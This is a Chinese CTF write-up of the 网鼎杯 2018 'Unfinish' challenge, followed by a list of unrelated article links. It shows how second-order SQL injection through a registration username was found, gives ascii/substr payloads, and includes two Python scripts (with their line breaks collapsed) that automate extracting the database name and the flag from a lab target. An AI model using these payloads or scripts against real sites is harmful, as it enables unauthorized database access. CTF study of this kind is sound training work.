当前位置: 首页 > news >正文

[网鼎杯]2018Unfinish

使用ctf在线靶场https://adworld.xctf.org.cn/home/index。

进入靶场,发现是一个登录页面。

在这里插入图片描述

使用awvs进行扫描,发现存在login.php和register.php,并且register.php存在sql注入漏洞。

在这里插入图片描述

访问一下register.php试试,发现是一个注册页面。

在这里插入图片描述

在邮箱、用户名、密码分别尝试sql注入。

发现邮箱后面不允许添加符号’等,密码添加’等会被当做字符传入,而在用户名的地方输入’,注册失败,怀疑是在用户名处存在sql注入。

随便注册一个试试。

在这里插入图片描述

登陆进去发现,在页面中存在用户名的显示。

在用户名处输入

dhh ' and '1'='1

注册成功,登陆查看用户名为0。基本确定为二次注入,注入点为用户名处。

在这里插入图片描述

使用burp判断被过滤的字符。初步爆破发现单引号、逗号、information被过滤。那就开始尝试

注册时,让用户名为select database(),尝试一下。

登陆后发现,用户名直接显示为select database()。那么猜测应该是被单引号或者双引号包裹起来,作为字符串了,尝试两种闭合。

在这里插入图片描述

使用1’+2+'1可以注册成功,那就证明单引号没被过滤掉,而且可以看出来后台接收语句应该是select…where username=‘username’。

开始尝试构建payload。

0'+database()+'0     #结果为0

在这里插入图片描述

尝试使用ascii进行转换为10进制尝试,下面是转换database()的第一个字符。

0'+ascii(substr((database()) from 1 for 1))+'0

在这里插入图片描述

查看ascii表,发现119为w,也就是当前数据库第一个字母为w。那证明目前的思路是正确的。

写python脚本进行爆破。

import requests
from bs4 import BeautifulSoupdef jieguo():name = ''url = 'http://61.147.171.105:58807/'url1 = url + 'register.php'url2 = url + 'login.php'for i in range(1, 100):data_register = {"email": f"dhh{i}@163.com","username": f"0'+ascii(substr((database()) from {i} for 1))+'0;","password": "123"}data_login = {"email": f"dhh{i}@163.com","password": "123"}response_regiseter = requests.post(url1, data=data_register)response_login = requests.post(url2, data=data_login)bs = BeautifulSoup(response_login.text, 'html.parser')  # bs4解析页面username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性number = username.text  # 取该属性的数字name += chr(int(number))print(name)if __name__ == '__main__':jieguo()

在这里插入图片描述

额…不知道为什么爆破完库名之后还在输出。

目前为止二次注入的目的完成。

因为我们的目的不是为了拿到flag,所以我就上网查询了一下如何拿flag,并且写成payload

0'+ascii(substr((select * from flag) from 1 for 1))+'0
import requests
from bs4 import BeautifulSoupdef jieguo():name = ''url = 'http://61.147.171.105:58807/'url1 = url + 'register.php'url2 = url + 'login.php'for i in range(1, 100):data_register = {"email": f"dh{i}@163.com","username": f"0'+ascii(substr((select * from flag) from {i} for 1))+'0;","password": "1"}data_login = {"email": f"dh{i}@163.com", "password": "1"}response_regiseter = requests.post(url1, data=data_register)response_login = requests.post(url2, data=data_login)bs = BeautifulSoup(response_login.text, 'html.parser')  # bs4解析页面username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性number = username.text  # 取该属性的数字name += chr(int(number))print(name)if __name__ == '__main__':jieguo()

在这里插入图片描述

http://www.lryc.cn/news/415628.html

相关文章:

  • Java算法-力扣leetcode-383. 赎金信
  • 使用idea对spring全家桶的各种项目进行创建
  • FAT32、NTFS、FAT的区别
  • 捉虫笔记(二)之 杀软请你自重点
  • python学习之路 - python的函数
  • 使用SpringBoot+Vue3开发项目(2)---- 设计文章分类的相关接口及页面
  • Layui---toolbar与 tool的区别
  • U-Net++原理与实现(含Pytorch和TensorFlow源码)
  • 产品心理学:啦啦队效应
  • AC+AP组网
  • 2024.8.05(glibc的安装及MySQL的安全用户角色权限)
  • 【精选】6款一键生成论文的软件3000字论文网站
  • 如何使用 PHP Simple HTML DOM Parser 轻松获取网页中的特定数据
  • Linux笔记 --- 传统链表
  • C语言的编译(预处理操作)+链接
  • FFmpeg实战 - 解复用与解码
  • 8.5作业
  • 【问题】C++:有哪些类型的智能指针,区别?
  • Go-反射
  • 【深度学习】DeepSpeed,ZeRO 数据并行的三个阶段是什么?
  • 代码随想录算法训练营第三十六天 | 1049. 最后一块石头的重量 II、494. 目标和、474.一和零
  • Pandas行列变换指南:数据重塑的艺术
  • 1.MySQL面试题之innodb如何解决幻读
  • Nginx中$http_host、$host、$proxy_host的区别
  • C# Unity 面向对象补全计划 七大原则 之 里氏替换(LSP) 难度:☆☆☆ 总结:子类可以当父类用,牛马是马,骡马也是马
  • PXE批量安装操作系统
  • float32转float16、snorm/sunorm8/16 学习及实现
  • 小型养猫空气净化器怎么选?小型养猫空气净化器产品评测
  • 数学建模--二分法
  • 如何使用 Puppeteer 绕过 Akamai